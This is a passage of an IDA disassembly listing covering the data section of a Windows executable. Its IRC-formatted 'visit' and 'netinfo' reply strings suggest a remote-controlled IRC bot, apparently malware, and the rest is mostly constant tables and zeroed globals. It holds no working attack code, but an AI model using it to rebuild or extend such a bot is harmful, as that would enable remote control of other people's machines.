sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo dword_43A7F8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A83C dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A840 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A844 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A84C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A85C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A88C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A8B8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A8D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A910 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A92C dd 2A2F2Ah ; DATA XREF: sub_41ADB5+3Bo dword_43A930 dd 6E164A96h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A940 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A94C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A958 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A95C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A970 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A974 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A980 dd offset off_43A980 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A984 dd offset off_43A980 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A998 dd offset dword_43A998 dword_43A990 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A998 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A988o ; ___:0043A98Co off_43C9A0 dd offset off_43A980 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C9A4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C9A8 dd offset word_43C9B2 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C9AC dd offset word_43C9B2 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C9B2 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C9A8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43CBB4 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43CBB8 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43CBC0 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43CBC4 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43CBC8 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43CBD0 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43CBD4 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43CBE0 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43CCC0 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43CCC4 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43CE28 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43CE30 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43CE38 dd 14h ; DATA XREF: sub_421624+2o off_43CE3C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C92Ch, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43CF10 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43CF20 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43CF38 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43CF44 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43CF50 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43CF54 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43CF58 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43CF5C dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43CF60 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43CF64 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43CF74 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43CF78 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43CF7C dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43CFF0 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43CFF4 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43CFF8 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43CFFC dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43D000 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43D008 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43D00C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433EDCh dd 0FFh, 427960h off_43D098 dd offset dword_4DBC60 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DBC60 dd 101h dword_43D0A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43D0B8 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D0D8 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D108 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43D318 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43D320 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43D328 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43D340 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43D358 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43D35C dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43D360 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43D364 dd offset dword_545350 ; DATA XREF: ___:off_43D3E4o dd 0Fh dup(0) off_43D3A4 dd offset dword_544450 ; DATA XREF: ___:off_43D3E8o dd 0Fh dup(0) off_43D3E4 dd offset off_43D364 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43D3E8 dd offset off_43D3A4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43D3F0 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43D3F4 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43D3F8 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43D400 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43D404 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43D408 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43D40C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43D43C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43D440 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43D478 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D5D8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D734 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D74C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D76C dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D78C dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D7B0 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D7D0 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D7D8 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D7E0 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D7F8 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43E360 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43E560 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43E564 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43E568 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43E56C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E570 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43E574 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E578 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1C75h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433E1Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00438108o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438B74o dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_4389E0o dd 5846h dup(0) dword_4CB360 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CB364 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CB368 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB36C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB3EC dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB42C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB4BC dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB4C0 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB4D0 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB4D4 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB4D8 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CB4DC dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CB4E0 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CB4E4 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CB4E8 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CB4EC dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CB4F0 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CB4F4 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CB4F8 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CB4FC dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CB500 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CB504 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CB508 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CB50C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CB510 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CB514 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CB518 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CB51C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CB520 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CB524 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CB528 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CB52C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CB530 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CB534 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CB538 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CB53C dd 0 ; DATA XREF: sub_409B12+934w dword_4CB540 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CB544 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CB548 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CB54C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CB550 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CB554 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CB558 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CB55C dd 0 ; DATA XREF: sub_409B12+B50w dword_4CB560 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CB564 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CB568 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CB56C dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CB570 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CB574 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CB578 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CB57C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB580 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CB584 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CB588 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CB58C dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CB590 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CB594 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CB598 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CB59C dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CB5A0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CB5A4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CB5A8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CB5AC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CB5B0 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CB5B4 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CB5B8 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CB5BC dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CB5C0 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CB5C4 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CB5C8 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CB5CC dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CB5D0 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CB5D4 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CB5D8 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CB5DC dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CB5E0 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CB5E4 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CB5E8 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CB5EC dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CB5F0 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CB5F4 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CB5F8 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CB5FC dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CB600 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CB604 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CB608 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CB60C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CB610 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CB614 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CB618 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CB61C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CB620 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CB624 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CB628 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CB62C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CB630 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CB634 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CB638 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CB63C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CB640 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CB644 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CB648 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CB64C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CB650 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CB654 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CB658 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CB65C dd 0 ; DATA XREF: sub_409B12+112w dword_4CB660 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CB664 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CB668 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CB66C dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CB670 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CB674 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CB678 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CB67C dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CB680 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CB684 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CB688 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CB68C dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CB690 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CB694 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CB698 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CB69C dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CB6A0 dd 0 ; DATA XREF: sub_409B12+ADFw ; 